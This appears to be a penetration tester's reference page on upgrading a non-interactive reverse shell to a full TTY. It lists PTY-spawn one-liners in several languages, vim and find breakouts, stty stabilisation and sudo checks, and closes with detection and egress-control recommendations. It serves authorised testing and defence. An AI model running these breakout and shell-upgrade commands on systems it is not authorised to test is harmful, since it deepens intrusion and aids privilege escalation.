🛡️ Methodology Checklist
- Check if TTY available:
tty— if not, upgrade - Python PTY:
python3 -c "import pty; pty.spawn('/bin/bash')" - Background shell: Ctrl+Z
- Terminal raw mode:
stty raw -echo; fg - Fix terminal size:
stty rows [R] columns [C] - Export TERM:
export TERM=xterm - Use
script /dev/null -c bashalternative if Python unavailable
🎯 Operational Context
Use when: Basic reverse shell obtained and need PTY for interactive commands (sudo, su, vi, mysql, ssh).
Think Dumber First: python3 -c 'import pty; pty.spawn("/bin/bash")' — run immediately on any non-interactive shell. Then background with Ctrl+Z, run stty raw -echo; fg, then export TERM=xterm. This takes 30 seconds and unlocks sudo, arrow keys, and tab completion.
Skip when: Already have SSH or Meterpreter session — these provide full PTY natively.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
/bin/sh -i | Spawn interactive shell using sh flag |
/bin/bash -i | Spawn interactive bash shell |
python3 -c 'import pty; pty.spawn("/bin/bash")' | Python 3 PTY spawn (most common) |
python -c 'import pty; pty.spawn("/bin/sh")' | Python 2 PTY spawn |
script /dev/null -c bash | Alternative PTY spawn without Python |
perl -e 'exec "/bin/sh";' | Perl shell spawn |
ruby -e 'exec "/bin/sh"' | Ruby shell spawn |
lua: os.execute('/bin/sh') | Lua shell spawn |
awk 'BEGIN {system("/bin/sh")}' | AWK shell spawn (fallback — nearly always available) |
find . -exec /bin/sh \; -quit | Find command breakout |
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \; | Find + AWK breakout |
vim -c ':!/bin/sh' | Vim breakout (one-liner) |
sudo -l | Check sudo rights (run after getting interactive shell) |
ls -la [path] | Check file permissions post-spawn |
🔬 Deep Dive & Workflow
Why You Need an Interactive Shell
When gaining initial access through a web exploit or dumb reverse shell, you land in a non-TTY (non-interactive) environment:
- No command prompt
sudo,su,passwdfail silently- Interactive text editors (nano, vim) don’t work
Ctrl+Ckills your connection instead of the current command- Tab completion and history don’t work
The goal is to upgrade to a fully interactive TTY before doing post-exploitation.
Method Priority (Check What’s Available First)
which python python3 perl ruby lua awk| Method | Priority | Notes |
|---|---|---|
| Python3/Python | First | Most commonly installed |
script /dev/null -c bash | Second | Works when Python is absent |
| Perl | Third | Common on older systems |
| AWK | Fourth | Nearly always present on Unix |
| Ruby | Fifth | Present on dev/web systems |
find breakout | Sixth | GTFOBins fallback |
/bin/sh -i | Always try | Simplest; may already work |
Vim Breakout (Two Methods)
# Method 1: Command line (never opened vim yet)
vim -c ':!/bin/sh'
# Method 2: Already inside vim
:set shell=/bin/sh
:shellParticularly useful when vim has SUID or is allowed via sudo -l.
find Command Breakout
# Direct shell execution (most reliable)
find . -exec /bin/sh \; -quit
# Via AWK (if exec is restricted)
find / -name [EXISTING_FILE] -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;If find can’t locate the named file, the shell won’t spawn. Use . (current dir) or an existing file.
After Spawning — Immediate Checks
# 1. Check sudo rights (critical for privilege escalation)
sudo -l
# 2. Check file permissions
ls -la /path/to/file
# 3. Check current user
whoami && id
# 4. Then stabilize (see Shell_Stabilization)sudo -l often fails in an unstable/non-TTY shell — stabilize first if it returns nothing useful.
GTFOBins Reference
For restricted environments (service accounts, limited shells), check GTFOBins for the specific binary available: gtfobins.github.io
Filter by: shell, sudo, file read, file write
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| python3 not found | Minimal OS | Try: python -c 'import pty; pty.spawn("/bin/bash")', script /dev/null -c bash, socat exec:'bash -li',pty,stderr,setsid,sigint,sane |
| After stty raw -echo and fg, nothing visible | Terminal state issue | Type reset blindly and press Enter; or type export TERM=xterm and Enter |
| Arrow keys still not working | stty not applied correctly | Set manually: stty rows 38 columns 116; adjust to your terminal size |
| pty.spawn fails silently | /bin/bash not available | Try: pty.spawn('/bin/sh') or pty.spawn('/bin/dash') |
| Ctrl+C kills shell after stty raw | Raw mode passes Ctrl+C to shell | Use Ctrl+C carefully; Ctrl+Z to background, fg to restore |
📝 Reporting Trigger
Finding Title: Fully Interactive Shell Obtained Post-Exploitation Impact: Upgrading a basic reverse shell to a fully interactive PTY enables running interactive commands (su, sudo, ssh, database CLI tools) that require a terminal, significantly expanding post-exploitation capability from the initial shell access. Root Cause: N/A — operational capability documentation. Recommendation: Implement network egress controls to prevent reverse shell establishment. Deploy EDR to detect PTY spawn commands from web process parents. Alert on python pty.spawn and socat exec usage from web application process context.